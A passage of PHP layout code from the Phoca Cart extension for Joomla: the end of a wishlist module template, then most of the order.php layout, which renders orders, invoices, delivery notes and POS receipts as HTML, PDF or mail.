value="<?php echo $d['actionbase64']; ?>" />
<div class="ph-pull-right">
<?php if (isset($d['method']) &&
(int)$d['method'] > 0) { ?>
<div class="ph-category-item-wishlist"><a
href="javascript:void(0)"
onclick="phItemRemoveWishListFormAjax('phWishListRemove<?php
echo (int)$v->id; ?>');" title="<?php echo
JText::_('COM_PHOCACART_REMOVE_FROM_WISH_LIST');
?>"><span class="<?php echo
$d['s']['i']['remove']
?>"></span></a></div>
<?php } else { ?>
<div class="ph-category-item-wishlist"><a
href="javascript:void(0)"
onclick="document.getElementById('phWishListRemove<?php echo
(int)$v->id; ?>').submit();" title="<?php echo
JText::_('COM_PHOCACART_REMOVE_FROM_WISH_LIST');
?>"><span class="<?php echo
$d['s']['i']['remove']
?>"></span></a></div>
<?php } ?>
</div>
<?php echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
?>
</form>
</div>
</div>
<?php
}
} else {
echo
'<div>'.JText::_('COM_PHOCACART_WISH_LIST_IS_EMPTY').'</div>';
}
?>
<div class="ph-small ph-right ph-u
ph-cart-link-wishlist"><a href="<?php echo
$d['linkwishlist']; ?>"><?php echo
JText::_('COM_PHOCACART_VIEW_WISH_LIST');
?></a></div>
order.php000064400000140252151165411770006404 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
/*
* +-------------------------------------------+
* | TYPE | FORMAT |
* +------------------+------------------------+
* | 1. ORDER/RECEIPT | html - HTML/SITE |
* | 2. INVOICE | pdf - PDF |
* | 3. DELIVERY NOTE | mail - Mail |
* | 4. RECEIPT (POS) | rss - RSS |
* | | raw - RAW (POS PRINT) |
* +------------------+------------------------+
*/
defined('_JEXEC') or die();
$d = $displayData;
/*
* Parameters
*/
$store_title = $d['params']->get(
'store_title', '' );
$store_logo = $d['params']->get( 'store_logo',
'' );
$store_info = $d['params']->get( 'store_info',
'' );
$store_info = PhocacartRenderFront::renderArticle($store_info,
$d['format']);
//$invoice_prefix = $d['params']->get(
'invoice_prefix', '');
//$invoice_number_format = $d['params']->get(
'invoice_number_format', '');
//$invoice_number_chars = $d['params']->get(
'invoice_number_chars', 12);
$invoice_tp = $d['params']->get(
'invoice_terms_payment', '');
$display_discount_price_product = $d['params']->get(
'display_discount_price_product', 1);
$tax_calculation = $d['params']->get(
'tax_calculation', 0 );
$store_title_pos = $d['params']->get(
'store_title_pos', '' );
$store_logo_pos = $d['params']->get(
'store_logo_pos', '' );
$store_info_pos = $d['params']->get(
'store_info_pos', '' );
$store_info_footer_pos = $d['params']->get(
'store_info_footer_pos', '' );
// Used in Phoca PDF Phocacart plugin because of converting the TCPDF QR
code into html
//$pdf_invoice_qr_code = $d['params']->get(
'pdf_invoice_qr_code', '' );
$pdf_invoice_signature_image = $d['params']->get(
'pdf_invoice_signature_image', '' );
$pdf_invoice_qr_information = $d['params']->get(
'pdf_invoice_qr_information', '' );
$invoice_global_top_desc = $d['params']->get(
'invoice_global_top_desc', 0 );// Article ID
$invoice_global_middle_desc = $d['params']->get(
'invoice_global_middle_desc', 0 );
$invoice_global_bottom_desc = $d['params']->get(
'invoice_global_bottom_desc', 0 );
$order_global_top_desc = $d['params']->get(
'order_global_top_desc', 0 );// Article ID
$order_global_middle_desc = $d['params']->get(
'order_global_middle_desc', 0 );
$order_global_bottom_desc = $d['params']->get(
'order_global_bottom_desc', 0 );
$dn_global_top_desc = $d['params']->get(
'dn_global_top_desc', 0 );// Article ID
$dn_global_middle_desc = $d['params']->get(
'dn_global_middle_desc', 0 );
$dn_global_bottom_desc = $d['params']->get(
'dn_global_bottom_desc', 0 );
$oidn_global_billing_desc = $d['params']->get(
'oidn_global_billing_desc', 0 );
$oidn_global_shipping_desc = $d['params']->get(
'oidn_global_shipping_desc', 0 );
$display_tax_recapitulation_invoice = $d['params']->get(
'display_tax_recapitulation_invoice', 0 );
$display_tax_recapitulation_pos = $d['params']->get(
'display_tax_recapitulation_pos', 0 );
$display_reward_points_invoice = $d['params']->get(
'display_reward_points_invoice', 0 );
$display_reward_points_pos = $d['params']->get(
'display_reward_points_pos', 0 );
$display_time_of_supply_invoice = $d['params']->get(
'display_time_of_supply_invoice', 0 );
if($d['type'] == 1 &&
$d['common']->order_number == '') {
echo '<div class="alert alert-error
alert-danger">'.JText::_('COM_PHOCACART_ORDER_DOES_NOT_EXIST').'</div>';
return;
}
if($d['type'] == 3 &&
$d['common']->order_number == '') {
echo '<div class="alert alert-error
alert-danger">'.JText::_('COM_PHOCACART_DELIVERY_NOTE_NOT_YET_ISSUED').'</div>';
return;
}
if($d['type'] == 1 &&
$d['common']->receipt_number == '') {
echo '<div class="alert alert-error
alert-danger">'.JText::_('COM_PHOCACART_RECEIPT_NOT_YET_ISSUED').'</div>';
return;
}
if($d['type'] == 2 &&
$d['common']->invoice_number == '') {
echo '<div class="alert alert-error
alert-danger">'.JText::_('COM_PHOCACART_INVOICE_NOT_YET_ISSUED').'</div>';
return;
}
if(!isset($d['bas']['b'])) {
$d['bas']['b'] = array();
}
if(!isset($d['bas']['s'])) {
$d['bas']['s'] = array();
}
/*
* FORMAT
*/
// FORMAT - HTML
$box = 'class="ph-idnr-box"';
$table = 'class="ph-idnr-box-in"';
$pho1 = $pho12 = 'class="pho1"';
$pho2 = $pho22 = 'class="pho2"';
$pho3 = $pho32 = 'class="pho3"';
$pho4 = $pho42 = 'class="pho4"';
$pho5 = $pho52 = 'class="pho5"';
$pho6 = $pho62 = 'class="pho6"';
$pho7 = $pho72 = 'class="pho7"';
$pho6Sep = $pho6Sep2 = 'class="pho6 ph-idnr-sep"';
$pho7Sep = $pho7Sep2 = 'class="pho7 ph-idnr-sep"';
$pho8 = $pho82 = 'class="pho8"';
$pho9 = $pho92 = 'class="pho9"';
$pho10 = $pho102 = 'class="pho10"';
$pho11 = $pho112 = 'class="pho11"';
$pho12 = $pho122 = 'class="pho12"';
$sep = $sep2 = 'class="ph-idnr-sep"';
$bBox = 'class="ph-idnr-billing-box"';
$bBoxIn = 'class="ph-idnr-billing-box-in"';
$sBox = 'class="ph-idnr-shipping-box"';
$sBoxIn = 'class="ph-idnr-shipping-box-in"';
$boxIn = 'class="ph-idnr-box-in"';
$hProduct = 'class="ph-idnr-header-product"';
$bProduct = 'class="ph-idnr-body-product"';
$sepH = 'class="ph-idnr-sep-horizontal"';
$totalF = 'class="ph-idnr-total"';
$toPayS = 'class="ph-idnr-to-pay"';
$toPaySV = 'class="ph-idnr-to-pay-value"';
$bDesc = 'class="ph-idnr-body-desc"';
$hrSmall = 'class="ph-idnr-hr-small"';
$taxRecTable= 'class="ph-idnr-tax-rec"';
$taxRecTd = 'class="ph-idnr-tax-rec-td"';
$taxRecTdRight= 'class="ph-idnr-tax-rec-td ph-right"';
$bQrInfo = '';
$firstRow = '';
// POS RECEIPT
$pR = false;
if ($d['format'] == 'raw' &&
$d['type'] == 4) {
$pR = true;
$oPr = array();
$pP = new PhocacartPosPrint(0);
}
if ($d['format'] == 'pdf') {
// FORMAT PDF
// Products
if ($tax_calculation > 0) {
$colW = 8.3333;// 12 cols x 8.3333 = 100%
} else {
$colW = 11.11;// 9 cols x 11.11 = 100%
}
$box = '';
$table = 'style="width: 100%; font-size:
80%;padding:3px;margin-top:-200px"';
$pho1 = 'style="width: '.$colW.'%;"';
$pho2 = 'style="width: '.$colW.'%;"';
$pho3 = 'style="width: '.$colW.'%;"';
$pho4 = 'style="width: '.$colW.'%;"';
$pho5 = 'style="width: '.$colW.'%;"';
$pho6 = 'style="width: '.$colW.'%;"';
$pho7 = 'style="width: '.$colW.'%;"';
$pho6Sep = 'style="width: 3%;"';
$pho7Sep = 'style="width: 3%;"';
$pho8 = 'style="width: '.$colW.'%;"';
$pho9 = 'style="width: '.$colW.'%;"';
$pho10 = 'style="width: '.$colW.'%;"';
$pho11 = 'style="width: '.$colW.'%;"';
$pho12 = 'style="width: '.$colW.'%;"';
$sep = 'style="width: 3%;"';
$pho12 = 'style="width: 9%;"';
$pho22 = 'style="width: 9%;"';
$pho32 = 'style="width: 9%;"';
$pho42 = 'style="width: 9%;"';
$pho52 = 'style="width: 9%;"';
$pho62 = 'style="width: 9%;"';
$pho72 = 'style="width: 9%;"';
$pho6Sep2 = 'style="width: 5%;"';
$pho7Sep2 = 'style="width: 5%;"';
$pho82 = 'style="width: 9%;"';
$pho92 = 'style="width: 9%;"';
$pho102 = 'style="width: 9%;"';
$pho112 = 'style="width: 9%;"';
$pho122 = 'style="width: 9%;"';
$seps2 = 'style="width: 10%;"';
$bBox = 'style="border: 1pt solid #dddddd;"';
$bBoxIn = 'style=""';
$sBox = 'style="border: 1pt solid #dddddd;"';
$sBoxIn = 'style=""';
//$boxIn = 'style="width: 100%; font-family: sans-serif,
arial; font-size: 60%;padding:3px 1px;"';
$boxIn = 'style="width: 100%; font-size: 60%;padding:1px
1px;"';
$hProduct = 'style="white-space:nowrap;font-weight:
bold;background-color: #dddddd;"';
$bProduct = 'style="white-space:nowrap;"';
$sepH = 'style="border-top: 1pt solid #dddddd;"';
$totalF = 'style=""';
$toPayS = 'style="background-color: #eeeeee;padding:
20px;"';
$toPaySV = 'style="background-color: #eeeeee;padding:
20px;text-align:right;"';
$firstRow = 'style="font-size:0pt;"';
$bDesc = 'style="padding: 2px 0px 0px
0px;margin:0;font-size:60%;"';
$hrSmall = 'style="font-size:30%;"';
$taxRecTable= 'style="border: 1pt solid #dddddd; width:
70%;font-size: 60%;"';
$taxRecTd = 'style="border: 1pt solid #dddddd;"';
$taxRecTdRight= 'style="border: 1pt solid
#dddddd;text-align:right;"';
$bQrInfo = 'style="font-size: 70%"';
} else if ($d['format'] == 'mail') {
// FORMAT EMAIL
$box = '';
//$table = 'style="width: 100%; font-family: sans-serif,
arial; font-size: 90%;"';
$table = 'style="width: 100%; font-size: 90%;"';
$pho1 = 'style="width: 8.3333%;"';
$pho2 = 'style="width: 8.3333%;"';
$pho3 = 'style="width: 8.3333%;"';
$pho4 = 'style="width: 8.3333%;"';
$pho5 = 'style="width: 8.3333%;"';
$pho6 = 'style="width: 8.3333%;"';
$pho7 = 'style="width: 8.3333%;"';
$pho6Sep = 'style="width: 3%;"';
$pho7Sep = 'style="width: 3%;"';
$pho8 = 'style="width: 8.3333%;"';
$pho9 = 'style="width: 8.3333%;"';
$pho10 = 'style="width: 8.3333%;"';
$pho11 = 'style="width: 8.3333%;"';
$pho12 = 'style="width: 8.3333%;"';
$sep = 'style="width: 3%;"';
$pho12 = 'style="width: 9%;"';
$pho22 = 'style="width: 9%;"';
$pho32 = 'style="width: 9%;"';
$pho42 = 'style="width: 9%;"';
$pho52 = 'style="width: 9%;"';
$pho62 = 'style="width: 9%;"';
$pho72 = 'style="width: 9%;"';
$pho6Sep2 = 'style="width: 5%;"';
$pho7Sep2 = 'style="width: 5%;"';
$pho82 = 'style="width: 9%;"';
$pho92 = 'style="width: 9%;"';
$pho102 = 'style="width: 9%;"';
$pho112 = 'style="width: 9%;"';
$pho122 = 'style="width: 9%;"';
$seps2 = 'style="width: 10%;"';
$bBox = 'style="border: 1px solid #ddd;padding:
10px;"';
$bBoxIn = 'style=""';
$sBox = 'style="border: 1px solid #ddd;padding:
10px;"';
$sBoxIn = 'style=""';
//$boxIn = 'style="width: 100%; font-family: sans-serif,
arial; font-size: 90%;"';
$boxIn = 'style="width: 100%; font-size: 90%;"';
$hProduct = 'style="white-space:nowrap;padding:
5px;font-weight: bold;background: #ddd;"';
$bProduct = 'style="white-space:nowrap;padding:
5px;"';
$sepH = 'style="border-top: 1px solid #ddd;"';
$totalF = 'style=""';
$toPayS = 'style="background-color: #eeeeee;padding:
20px;"';
$toPaySV = 'style="background-color: #eeeeee;padding:
20px;text-align:right;"';
$firstRow = '';
$taxRecTable= 'style="border: 1pt solid #dddddd; width:
50%;"';
$taxRecTd = 'style="border: 1pt solid #dddddd;"';
}
// -----------
// R E N D E R
// -----------
$o = array();
$o[] = '<div '.$box.'>';
// -----------
// 1. PART
// -----------
$o[] = '<table '.$table.'>';
$o[] = '<tr '.$firstRow.'>';
$o[] = '<td '.$pho12.'> </td><td
'.$pho22.'> </td><td
'.$pho32.'> </td><td
'.$pho42.'> </td>';
$o[] = '<td '.$pho52.'> </td><td
'.$pho6Sep2.'> </td><td
'.$pho7Sep2.'> </td><td
'.$pho82.'> </td>';
$o[] = '<td '.$pho92.'> </td><td
'.$pho102.'> </td><td
'.$pho112.'> </td><td
'.$pho122.'> </td>';
$o[] = '</tr>';
// -----------
// HEADER LEFT
// -----------
$o[] = '<tr><td colspan="5">';
if ($store_title != '') {
$o[] =
'<div><h1>'.$store_title.'</h1></div>';
}
if ($store_logo != '') {
$o[] = '<div><img class="ph-idnr-header-img"
src="'.JURI::root(false). ''.$store_logo.'"
/></div>';
}
if ($store_info != '') {
$o[] = '<div>'.$store_info.'</div>';
}
$o[] = '</td>';
$o[] = '<td colspan="2"
'.$sep2.'></td>';
// -----------
// HEADER RIGHT
// -----------
$o[] = '<td colspan="5">';
if ($d['type'] == 1) {
$o[] =
'<div><h1>'.JText::_('COM_PHOCACART_ORDER').'</h1></div>';
$o[] =
'<div><b>'.JText::_('COM_PHOCACART_ORDER_NR').'</b>:
'.PhocacartOrder::getOrderNumber($d['common']->id,
$d['common']->date,
$d['common']->order_number).'</div>';
$o[] =
'<div><b>'.JText::_('COM_PHOCACART_ORDER_DATE').'</b>:
'.JHtml::date($d['common']->date,
'DATE_FORMAT_LC4').'</div>';
} else if ($d['type'] == 2) {
$o[] =
'<div><h1>'.JText::_('COM_PHOCACART_INVOICE').'</h1></div>';
$o[] =
'<div><b>'.JText::_('COM_PHOCACART_INVOICE_NR').'</b>:
'.PhocacartOrder::getInvoiceNumber($d['common']->id,
$d['common']->date,
$d['common']->invoice_number).'</div>';
$o[] =
'<div><b>'.JText::_('COM_PHOCACART_INVOICE_DATE').'</b>:
'.JHtml::date($d['common']->invoice_date,
'DATE_FORMAT_LC4').'</div>';
if ($display_time_of_supply_invoice == 1 &&
$d['common']->invoice_time_of_supply != ''
&& $d['common']->invoice_time_of_supply !=
'0000-00-00 00:00:00') {
$o[] = '<div><b>' .
JText::_('COM_PHOCACART_DATE_OF_TAXABLE_SUPPLY') .
'</b>: ' .
JHtml::date($d['common']->invoice_time_of_supply,
'DATE_FORMAT_LC4') . '</div>';
}
$o[] =
'<div><b>'.JText::_('COM_PHOCACART_INVOICE_DUE_DATE').'</b>:
'.PhocacartOrder::getInvoiceDueDate($d['common']->id,
$d['common']->date,
$d['common']->invoice_due_date,
'DATE_FORMAT_LC4').'</div>';
$o[] =
'<div><b>'.JText::_('COM_PHOCACART_PAYMENT_REFERENCE_NUMBER').'</b>:
'.PhocacartOrder::getPaymentReferenceNumber($d['common']->id,
$d['common']->date,
$d['common']->invoice_prn).'</div>';
// Display order number in invoice because order number can be different
to invoice number
$o[] =
'<div><b>'.JText::_('COM_PHOCACART_ORDER_NR').'</b>:
'.PhocacartOrder::getOrderNumber($d['common']->id,
$d['common']->date,
$d['common']->order_number).'</div>';
} else if ($d['type'] == 3) {
$o[] =
'<div><h1>'.JText::_('COM_PHOCACART_DELIVERY_NOTE').'</h1></div>';
$o[] = '<div
style="margin:0;"><b>'.JText::_('COM_PHOCACART_ORDER_NR').'</b>:
'.PhocacartOrder::getOrderNumber($d['common']->id,
$d['common']->date,
$d['common']->order_number).'</div>';
$o[] = '<div
style="margin:0"><b>'.JText::_('COM_PHOCACART_ORDER_DATE').'</b>:
'.JHtml::date($d['common']->date,
'DATE_FORMAT_LC4').'</div>';
}
$o[] = '<div> </div>';
if (isset($d['common']->paymenttitle) &&
$d['common']->paymenttitle != '') {
$o[] =
'<div><b>'.JText::_('COM_PHOCACART_PAYMENT').'</b>:
'.$d['common']->paymenttitle.'</div>';
}
if ($d['type'] == 2 && $invoice_tp != '') {
$o[] =
'<div><b>'.JText::_('COM_PHOCACART_TERMS_OF_PAYMENT').'</b>:
'.$invoice_tp.'</div>';
}
if (isset($d['common']->shippingtitle) &&
$d['common']->shippingtitle != '') {
$o[] =
'<div><b>'.JText::_('COM_PHOCACART_SHIPPING').'</b>:
'.$d['common']->shippingtitle.'</div>';
}
$o[] = '</td></tr>';
$o[] = '<tr><td
colspan="12"> </td></tr>';
// POS HEADER
if ($pR) {
$oPr[] = $pP->printImage($store_logo_pos);
}
if ($pR) {
$storeTitlePos = array();
if ($store_title_pos != '') {
$storeTitlePos = explode("\n", $store_title_pos);
}
$oPr[] = $pP->printFeed(1);
$oPr[] = $pP->printLine($storeTitlePos, 'pDoubleSizeCenter');
$oPr[] = $pP->printFeed(1);
}
if ($pR) {
$storeInfoPos = array();
if ($store_info_pos != '') {
$store_info_pos = PhocacartText::completeText($store_info_pos,
$d['preparereplace'], 1);
$storeInfoPos = explode("\n", strip_tags($store_info_pos));
}
$oPr[] = $pP->printLine($storeInfoPos, 'pCenter');
}
// -----------
// BILLING AND SHIPPING HEADER
// -----------
$o[] = '<tr><td
colspan="5"><b>'.JText::_('COM_PHOCACART_BILLING_ADDRESS').'</b></td>';
$o[] = '<td colspan="2"></td>';
$o[] = '<td
colspan="5"><b>'.JText::_('COM_PHOCACART_SHIPPING_ADDRESS').'</b></td></tr>';
// -----------
// BILLING
// -----------
$ob = array();
$ob2 = array();// specific case for $oidn_global_billing_desc
if (!empty($d['bas']['b'])) {
$v = $d['bas']['b'];
if ($v['company'] != '') { $ob[] =
'<b>'.$v['company'].'</b><br
/>';}
$name = array();
if ($v['name_degree'] != '') { $name[] =
$v['name_degree'];}
if ($v['name_first'] != '') { $name[] =
$v['name_first'];}
if ($v['name_middle'] != '') { $name[] =
$v['name_middle'];}
if ($v['name_last'] != '') { $name[] =
$v['name_last'];}
if (!empty($name)) {$ob[] = '<b>' .
implode("\n", $name).'</b><br />';}
if ($v['address_1'] != '') { $ob[] =
$v['address_1'].'<br />';}
if ($v['address_2'] != '') { $ob[] =
$v['address_2'].'<br />';}
$city = array();
if ($v['zip'] != '') { $city[] = $v['zip'];}
if ($v['city'] != '') { $city[] =
$v['city'];}
if (!empty($city)) {$ob[] = implode("\n", $city).'<br
/>';}
//echo '<br />';
if (!empty($v['regiontitle'])) {$ob[] =
$v['regiontitle'].'<br />';}
if (!empty($v['countrytitle'])) {$ob[] =
$v['countrytitle'].'<br />';}
//echo '<br />';
if ($v['vat_1'] != '') { $ob[] = '<br
/>'.JText::_('COM_PHOCACART_VAT_1_LABEL').': '.
$v['vat_1'].'<br />';}
if ($v['vat_2'] != '') { $ob[] =
JText::_('COM_PHOCACART_VAT_2_LABEL').':
'.$v['vat_2'].'<br />';}
// -----------------------
// ORDER | INVOICE | DELIVERY NOTE BILLING ADDRESS DESCRIPTION
// -----------------------
if ($d['type'] == 1 || $d['type'] == 2 ||
$d['type'] == 3) {
$oidnBillingDescArticle = '';
if ($d['common']->oidn_spec_billing_desc != '') {
$oidnBillingDescArticle =
$d['common']->oidn_spec_billing_desc;
} else if ((int)$oidn_global_billing_desc > 0) {
$oidnBillingDescArticle =
PhocacartRenderFront::renderArticle((int)$oidn_global_billing_desc);
}
if ($oidnBillingDescArticle != '') {
//$o[] = '<div
'.$hrSmall.'> </div>';
$oidnBillingDescArticle =
PhocacartPdf::skipStartAndLastTag($oidnBillingDescArticle, 'p');
$oidnBillingDescArticle =
PhocacartText::completeText($oidnBillingDescArticle,
$d['preparereplace'], 1);
//$oidnBillingDescArticle =
PhocacartText::completeTextFormFields($oidnBillingDescArticle,
$d['bas']['b'], 1);
//$oidnBillingDescArticle =
PhocacartText::completeTextFormFields($oidnBillingDescArticle,
$d['bas']['s'], 2);
$oidnBillingDescArticle =
PhocacartText::completeTextFormFields($oidnBillingDescArticle,
$d['bas']['b'], $d['bas']['s']);
$ob2[] = $oidnBillingDescArticle;
}
}
}
// -----------
// SHIPPING
// -----------
$os = array();
$os2 = array();// specific case for $oidn_global_shipping_desc
if (!empty($d['bas']['s'])) {
$v = $d['bas']['s'];
if ($v['company'] != '') { $os[] =
'<b>'.$v['company'].'</b><br
/>';}
$name = array();
if ($v['name_degree'] != '') { $name[] =
$v['name_degree'];}
if ($v['name_first'] != '') { $name[] =
$v['name_first'];}
if ($v['name_middle'] != '') { $name[] =
$v['name_middle'];}
if ($v['name_last'] != '') { $name[] =
$v['name_last'];}
if (!empty($name)) {$os[] = '<b>' .
implode("\n", $name).'</b><br />';}
if ($v['address_1'] != '') { $os[] =
$v['address_1'].'<br />';}
if ($v['address_2'] != '') { $os[] =
$v['address_2'].'<br />';}
$city = array();
if ($v['zip'] != '') { $city[] = $v['zip'];}
if ($v['city'] != '') { $city[] =
$v['city'];}
if (!empty($city)) {$os[] = implode("\n", $city).'<br
/>';}
//echo '<br />';
if (!empty($v['regiontitle'])) {$os[] =
$v['regiontitle'].'<br />';}
if (!empty($v['countrytitle'])) {$os[] =
$v['countrytitle'].'<br />';}
//echo '<br />';
if ($v['vat_1'] != '') { $os[] = '<br
/>'.JText::_('COM_PHOCACART_VAT1').': '.
$v['vat_1'].'<br />';}
if ($v['vat_2'] != '') { $os[] =
JText::_('COM_PHOCACART_VAT2').':
'.$v['vat_2'].'<br />';}
// -----------------------
// ORDER | INVOICE | DELIVERY NOTE SHIPPING ADDRESS DESCRIPTION
// -----------------------
if ($d['type'] == 1 || $d['type'] == 2 ||
$d['type'] == 3) {
$oidnShippingDescArticle = '';
if ($d['common']->oidn_spec_shipping_desc != '') {
$oidnShippingDescArticle =
$d['common']->oidn_spec_shipping_desc;
} else if ((int)$oidn_global_shipping_desc > 0) {
$oidnShippingDescArticle =
PhocacartRenderFront::renderArticle((int)$oidn_global_shipping_desc);
}
if ($oidnShippingDescArticle != '') {
//$o[] = '<div
'.$hrSmall.'> </div>';
$oidnShippingDescArticle =
PhocacartPdf::skipStartAndLastTag($oidnShippingDescArticle, 'p');
$oidnShippingDescArticle =
PhocacartText::completeText($oidnShippingDescArticle,
$d['preparereplace'], 1);
//$oidnShippingDescArticle =
PhocacartText::completeTextFormFields($oidnShippingDescArticle,
$d['bas']['b'], 1);
//$oidnShippingDescArticle =
PhocacartText::completeTextFormFields($oidnShippingDescArticle,
$d['bas']['s'], 2);
$oidnShippingDescArticle =
PhocacartText::completeTextFormFields($oidnShippingDescArticle,
$d['bas']['b'], $d['bas']['s']);
$os2[] = $oidnShippingDescArticle;
}
}
}
// BILLING OUTPUT
$o[] = '<tr><td colspan="5" '.$bBox.'
><div '.$bBoxIn.'>';
$o[] = implode("\n", $ob);
$o[] = implode("\n", $ob2);
$o[] = '</div></td>';
$o[] = '<td colspan="2"> </td>';
// SHIPPING OUTPUT
$o[] = '<td colspan="5" '.$sBox.'><div
'.$sBoxIn.'>';
if ((isset($d['bas']['b']['ba_sa'])
&& $d['bas']['b']['ba_sa'] == 1) ||
(isset($d['bas']['s']['ba_sa']) &&
$d['bas']['s']['ba_sa'] == 1)) {
$o[] = implode("\n", $ob);
//$o[] = implode("\n", $ob2); Don't display shipping
description in billing
// Possible TO DO - parameter if display shipping description in case
there is no shipping address but in fact the billing one
$o[] = implode("\n", $os2);
} else {
$o[] = implode("\n", $os);
$o[] = implode("\n", $os2);
}
$o[] = '</div></td></tr>';
//$o[] = '<tr><td
colspan="12"> </td></tr>';
$o[] = '</table>';
// -----------------------
// INVOICE TOP DESCRIPTION
// -----------------------
if ($d['type'] == 2) {
$invoiceTopDescArticle = '';
if ($d['common']->invoice_spec_top_desc != '') {
$invoiceTopDescArticle =
$d['common']->invoice_spec_top_desc;
} else if ((int)$invoice_global_top_desc > 0) {
$invoiceTopDescArticle =
PhocacartRenderFront::renderArticle((int)$invoice_global_top_desc);
}
if ($invoiceTopDescArticle != '') {
$o[] = '<div
'.$hrSmall.'> </div>';
$invoiceTopDescArticle =
PhocacartPdf::skipStartAndLastTag($invoiceTopDescArticle, 'p');
$invoiceTopDescArticle =
PhocacartText::completeText($invoiceTopDescArticle,
$d['preparereplace'], 1);
//$invoiceTopDescArticle =
PhocacartText::completeTextFormFields($invoiceTopDescArticle,
$d['bas']['b'], 1);
//$invoiceTopDescArticle =
PhocacartText::completeTextFormFields($invoiceTopDescArticle,
$d['bas']['s'], 2);
$invoiceTopDescArticle =
PhocacartText::completeTextFormFields($invoiceTopDescArticle,
$d['bas']['b'], $d['bas']['s']);
$o[] = '<table
'.$bDesc.'><tr><td>'.$invoiceTopDescArticle.'</td></tr></table>';
}
} else if ($d['type'] == 1) {
$orderTopDescArticle =
PhocacartRenderFront::renderArticle((int)$order_global_top_desc);
if ($orderTopDescArticle != '') {
$o[] = '<div
'.$hrSmall.'> </div>';
$orderTopDescArticle =
PhocacartPdf::skipStartAndLastTag($orderTopDescArticle, 'p');
$orderTopDescArticle = PhocacartText::completeText($orderTopDescArticle,
$d['preparereplace'], 1);
//$orderTopDescArticle =
PhocacartText::completeTextFormFields($orderTopDescArticle,
$d['bas']['b'], 1);
//$orderTopDescArticle =
PhocacartText::completeTextFormFields($orderTopDescArticle,
$d['bas']['s'], 2);
$orderTopDescArticle =
PhocacartText::completeTextFormFields($orderTopDescArticle,
$d['bas']['b'], $d['bas']['s']);
$o[] = '<table
'.$bDesc.'><tr><td>'.$orderTopDescArticle.'</td></tr></table>';
}
} else if ($d['type'] == 3) {
$dnTopDescArticle =
PhocacartRenderFront::renderArticle((int)$dn_global_top_desc);
if ($dnTopDescArticle != '') {
$o[] = '<div
'.$hrSmall.'> </div>';
$dnTopDescArticle = PhocacartPdf::skipStartAndLastTag($dnTopDescArticle,
'p');
$dnTopDescArticle = PhocacartText::completeText($dnTopDescArticle,
$d['preparereplace'], 1);
$dnTopDescArticle =
PhocacartText::completeTextFormFields($dnTopDescArticle,
$d['bas']['b'], $d['bas']['s']);
$o[] = '<table
'.$bDesc.'><tr><td>'.$dnTopDescArticle.'</td></tr></table>';
}
}
// -----------
// 2. PART
// -----------
$o[] = '<table '.$boxIn.'>';
$o[] = '<tr>';
$o[] = '<td '.$pho1.'> </td><td
'.$pho2.'> </td><td
'.$pho3.'> </td><td
'.$pho4.'> </td>';
$o[] = '<td '.$pho5.'> </td><td
'.$pho6.'> </td><td
'.$pho7.'> </td><td
'.$pho8.'> </td>';
$o[] = '<td '.$pho9.'> </td>';
if ($tax_calculation > 0) {
$o[] = '<td '.$pho10.'> </td><td
'.$pho11.'> </td><td
'.$pho12.'> </td>';
}
$o[] = '</tr>';
$dDiscount = 0; // Display Discount (Coupon, cnetto)
$cTitle = 3; // Colspan Title
$p = array();
if (!empty($d['products'])) {
// Prepare header and body
foreach ($d['products'] as $k => $v) {
if ($v->damount > 0) {
$dDiscount = 1;
$cTitle = 2;
}
}
if ($d['type'] == 3) {
$cTitle = 10;
}
$p[] = '<tr '.$hProduct.'>';
$p[] =
'<td>'.JText::_('COM_PHOCACART_SKU').'</td>';
$p[] = '<td
colspan="'.$cTitle.'">'.JText::_('COM_PHOCACART_ITEM').'</td>';
$p[] = '<td
style="text-align:center">'.JText::_('COM_PHOCACART_QTY').'</td>';
if ($d['type'] != 3) {
$p[] = '<td style="text-align:right"
colspan="2">'.JText::_('COM_PHOCACART_PRICE_UNIT').'</td>';
if ($dDiscount == 1) {
$p[] = '<td
style="text-align:center"">'.JText::_('COM_PHOCACART_DISCOUNT').'</td>';
}
if ($tax_calculation > 0) {
$p[] = '<td style="text-align:right"
colspan="2">'.JText::_('COM_PHOCACART_PRICE_EXCL_TAX').'</td>';
$p[] = '<td
style="text-align:right">'.JText::_('COM_PHOCACART_TAX').'</td>';
$p[] = '<td style="text-align:right"
colspan="2">'.JText::_('COM_PHOCACART_PRICE_INCL_TAX').'</td>';
} else {
$p[] = '<td style="text-align:right"
colspan="2">'.JText::_('COM_PHOCACART_PRICE').'</td>';
}
}
$p[] = '</tr>';
if ($pR) { $oPr[] = $pP->printSeparator(); }
foreach($d['products'] as $k => $v) {
// $codes = PhocacartProduct::getProductCodes((int)$v->product_id);
// echo $codes['isbn']; getting codes like isbn, ean, jpn,
serial_number from product
// codes are the latest stored in database not codes which were valid in
date of order
/*
$productImage =
PhocacartProduct::getImageByProductId($v->product_id);
$path = PhocacartPath::getPath('productimage');// add before
foreach
if ($productImage != '') {
$productThumbnail = PhocacartImage::getThumbnailName($path,
$productImage, 'small');
$productImageOutput = '<img
src="'.JURI::root().''.$productThumbnail->rel.'"
alt="" />';
}
*/
$p[] = '<tr '.$bProduct.'>';
$p[] = '<td>'.$v->sku.'</td>';
$p[] = '<td
colspan="'.$cTitle.'">'.$v->title.'</td>';
if ($pR) { $oPr[] = $pP->printLineColumns(array($v->sku,
$v->title), 1); }
$p[] = '<td
style="text-align:center">'.$v->quantity.'</td>';
$netto = (int)$v->quantity * $v->netto;
$nettoUnit = $v->netto;
$tax = (int)$v->quantity * $v->tax;
$brutto = (int)$v->quantity * $v->brutto;
if ($d['type'] != 3) {
if ($tax_calculation > 0) {
$p[] = '<td style="text-align:right"
colspan="2">'.$d['price']->getPriceFormat($v->netto).'</td>';
$p[] = '<td style="text-align:right"
colspan="2">'.$d['price']->getPriceFormat($netto).'</td>';
$p[] = '<td style="text-align:right"
colspan="1">'.$d['price']->getPriceFormat($tax).'</td>';
$p[] = '<td style="text-align:right"
colspan="2">'.$d['price']->getPriceFormat($brutto).'</td>';
} else {
$p[] = '<td style="text-align:right"
colspan="2">'.$d['price']->getPriceFormat($v->netto).'</td>';
$p[] = '<td style="text-align:right"
colspan="2">'.$d['price']->getPriceFormat($brutto).'</td>';
}
}
$p[] = '</tr>';
if (!empty($v->attributes)) {
$p[] = '<tr>';
$p[] = '<td></td>';
